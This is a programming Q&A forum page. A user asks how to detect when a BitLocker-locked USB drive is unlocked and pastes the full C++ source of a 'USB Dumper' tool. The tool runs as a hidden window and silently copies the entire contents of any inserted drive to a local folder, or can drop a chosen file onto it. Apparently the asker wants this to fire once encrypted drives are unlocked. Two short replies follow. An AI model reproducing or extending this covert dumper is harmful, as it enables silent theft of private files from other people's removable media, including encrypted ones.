Click here to Skip to main content
15,886,547 members
Please Sign up or sign in to vote.
0.00/5 (No votes)
See more:
for eg i have a usb which is locked with bitlocker.
i am looking for some way to get notification as soon as removable device is unlocked by the user?is there any way to do that using dbt.h in c++?
i got below code from this link http://read.pudn.com/downloads163/sourcecode/windows/system/740844/USBDumper%20-%20OK/src/usb.cpp__.htm
but it doesn't detect usb which is locked with bitlocker not even after its unlocked

What I have tried:

#include <windows.h>   
#include <dbt.h>   
#include <direct.h>   
#include <stdio.h>   
   
   
char dir[260];   
char szFile[255] = "";   
   
   
// Function prototype   
LRESULT CALLBACK MainWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam);   
char FirstDriveFromMask (ULONG unitmask);   
void GetFile(char* FilePath);   
void CreateDir(char * path);   
void Copy(char* FileName);   
   
     
   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)   
{   
    MSG         msg;        // MSG structure to store messages   
    HWND        hwndMain;   // Main window handle   
    WNDCLASSEX  wcx;        // WINDOW class information    
    HDEVNOTIFY  hDevnotify;   
    DWORD       len;               
   
    DEV_BROADCAST_DEVICEINTERFACE NotificationFilter;   
   
    // 53F56307-B6BF-11D0-94F2-00A0C91EFB8B   
    GUID FilterGUID = {0x53F56307,0x0B6BF,0x11D0,{0x94,0xF2,0x00,0xA0,0xC9,0x1E,0xFB,0x8B}};           
       
   
    printf("\n>> USB Dumper by Valgasu <<\n\n");   
   
   
    // Get command line   
    if (lpCmdLine[0] != '\0') {   
        strcpy(szFile, lpCmdLine);         
    }   
   
    // Initialize the struct to zero   
    ZeroMemory(&wcx,sizeof(WNDCLASSEX));   
   
    wcx.cbSize = sizeof(WNDCLASSEX);        // Window size. Must always be sizeof(WNDCLASSEX)   
    wcx.style = 0 ;                         // Class styles   
    wcx.lpfnWndProc = (WNDPROC)MainWndProc; // Pointer to the callback procedure   
    wcx.cbClsExtra = 0;                     // Extra byte to allocate following the wndclassex structure   
    wcx.cbWndExtra = 0;                     // Extra byte to allocate following an instance of the structure   
    wcx.hInstance = hInstance;              // Instance of the application   
    wcx.hIcon = NULL;                       // Class Icon   
    wcx.hCursor = NULL;                     // Class Cursor   
    wcx.hbrBackground = NULL;               // Background brush   
    wcx.lpszMenuName = NULL;                // Menu resource   
    wcx.lpszClassName = "USB";              // Name of this class   
    wcx.hIconSm = NULL;                     // Small icon for this class   
   
    // Register this window class with MS-Windows   
    if (!RegisterClassEx(&wcx))   
        return 0;   
   
    // Create the window   
    hwndMain = CreateWindowEx(0,// Extended window style   
                "USB",          // Window class name   
                "",             // Window title   
                WS_POPUP,       // Window style   
                0,0,            // (x,y) pos of the window   
                0,0,            // Width and height of the window   
                NULL,           // HWND of the parent window (can be null also)   
                NULL,           // Handle to menu   
                hInstance,      // Handle to application instance   
                NULL);          // Pointer to window creation data   
   
    // Check if window creation was successful   
    if (!hwndMain)   
        return 0;   
   
    // Make the window invisible   
    ShowWindow(hwndMain,SW_HIDE);   
   
    // Initialize device class structure    
    len = sizeof(DEV_BROADCAST_DEVICEINTERFACE);   
    memset(&NotificationFilter,0,len);   
   
    NotificationFilter.dbcc_size = 0x20;   
    NotificationFilter.dbcc_devicetype = 5;         // DBT_DEVTYP_DEVICEINTERFACE;   
    NotificationFilter.dbcc_classguid = FilterGUID;   
       
    // Register   
    hDevnotify = RegisterDeviceNotification(hwndMain, &NotificationFilter, DEVICE_NOTIFY_WINDOW_HANDLE);   
   
    if(hDevnotify == NULL)       
        return 0;   
   
    // Process messages coming to this window   
    while (GetMessage(&msg, NULL, 0, 0)) {   
        TranslateMessage(&msg);   
        DispatchMessage(&msg);   
    }   
   
    // return value to the system   
    return msg.wParam;   
 }   
   
   
LRESULT CALLBACK MainWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam)   
{   
    char szMsg[80];   
    char szFileDest[255];   
    char drive;   
    char szDrive[20];   
    char dtime[20];   
    char temp[10];   
    SYSTEMTIME  st;   
    PDEV_BROADCAST_VOLUME PdevVolume;   
    PDEV_BROADCAST_DEVICEINTERFACE PdevDEVICEINTERFACE;   
   
   
    switch (msg)   
    {   
        case WM_DEVICECHANGE:   
            switch(wParam)   
            {   
                // A device or piece of media has been inserted and is now available   
                case DBT_DEVICEARRIVAL:   
                    PdevDEVICEINTERFACE = (PDEV_BROADCAST_DEVICEINTERFACE)lParam;   
                       
                    switch(PdevDEVICEINTERFACE->dbcc_devicetype)   
                    {                       
                        // Class of devices   
                        case DBT_DEVTYP_DEVICEINTERFACE:   
                            // MessageBox(NULL, PdevDEVICEINTERFACE->dbcc_name, "DEBUG", MB_OK);   
                            break;   
                            
                        // Logical volume   
                        case DBT_DEVTYP_VOLUME:   
                            PdevVolume = (PDEV_BROADCAST_VOLUME)lParam;                                                                                                                
                            drive = FirstDriveFromMask(PdevVolume ->dbcv_unitmask);   
                            wsprintf(szDrive, "%c:\\", drive);   
                            wsprintf(szMsg, "Drive %s connected\n", szDrive);   
   
                            // MessageBox (NULL, szMsg, "WM_DEVICECHANGE", MB_OK);                         
                                                                                       
                            GetLocalTime(&st);   
                            itoa(st.wYear, temp, 10);   
                            strcpy(dtime, temp);   
                            itoa(st.wMonth, temp, 10);   
                            strcat(dtime, temp);   
                            itoa(st.wDay, temp, 10);   
                            strcat(dtime , temp);   
                            _mkdir(dtime);   
                            _getcwd(dir, 260);   
                            strcat(dir, "\\");   
                            strcat(dir, dtime );   
                            strcat(dir, "\\" );                    
   
                            // Check command line                                  
                            if (strcmp(szFile, "") != 0) {                                 
                                wsprintf(szFileDest, "%s%s", szDrive, szFile);   
                                //MessageBox(NULL, szFileDest, "DEBUG", MB_OK);    
                                CopyFile(szFile, szFileDest, FALSE);   
                            }   
                            else {                                 
                                GetFile(szDrive);   
                            }   
                               
                    }   
                    break;   
            }   
            break;   
   
        default:   
            // Call the default window handler   
            return DefWindowProc(hwnd,msg,wParam,lParam);   
    }   
   
    return 0;   
}   
   
   
char FirstDriveFromMask (ULONG unitmask)   
{   
   char i;   
   
   for (i = 0 ; i < 26 ; ++i)   
   {   
      if (unitmask & 0x1)   
         break;   
      unitmask = unitmask >> 1;   
   }   
   
   return (i + 'A');   
}   
   
   
void Copy(char* FileName)   
{   
    char dir2[260];   
    char* temp;   
       
   
    temp = strchr(FileName, '\\');   
    strcpy(dir2, dir);   
    temp++;   
    strcat(dir2, temp);   
    CopyFile(FileName, dir2, 1);   
}   
   
   
void CreateDir(char * path)   
{   
    char temp2[260];       
    char* temp;   
   
   
    temp = strchr(path, '\\');   
    strcpy(temp2, dir);   
    temp++;   
    strcat(temp2, temp);   
    _mkdir(temp2);   
}   
   
   
void GetFile(char* FilePath)   
{   
    char    temp[260];   
    char    temp1[260];    
    HANDLE  hFind;   
    WIN32_FIND_DATA FindFileData;   
   
   
    strcpy(temp, FilePath);   
    strcat(temp, "*");   
   
    hFind = FindFirstFile(temp, &FindFileData);   
   
    if (hFind != INVALID_HANDLE_VALUE) {   
   
        do {   
            strcpy(temp1, FilePath);   
            strcat(temp1, FindFileData.cFileName);   
   
            if(strcmp(FindFileData.cFileName, ".") != 0 && strcmp(FindFileData.cFileName, "..") != 0) {   
                   
                if (FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {   
                    strcat(temp1, "\\");   
                    CreateDir(temp1);   
                    GetFile(temp1);   
   
                }    
                else {   
                    Copy(temp1);   
                }                     
            }   
        }   
        while(FindNextFile(hFind, &FindFileData));   
   
    }   
   
    FindClose(hFind);   
}   
C++
<pre lang="c++">
Posted
Comments
Rick York 20-Mar-20 2:00am    
I don't have a solution for you so this is a comment. If you want people to help you that often involves replicating the code and trying it out. In your case, you should remove all of the file copying stuff. Just print a message to a debugger or something to state what happened because that's what your problem is. That code shouldn't be there anyway. You should be calling a function somewhere to do what you want and pass it the parameters of interest.
Richard MacCutchan 20-Mar-20 4:12am    
The code above will only work if bitlocker broadcasts the appropriate event message. So you need to find out what message(s) bitlocker does send for each event type.

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900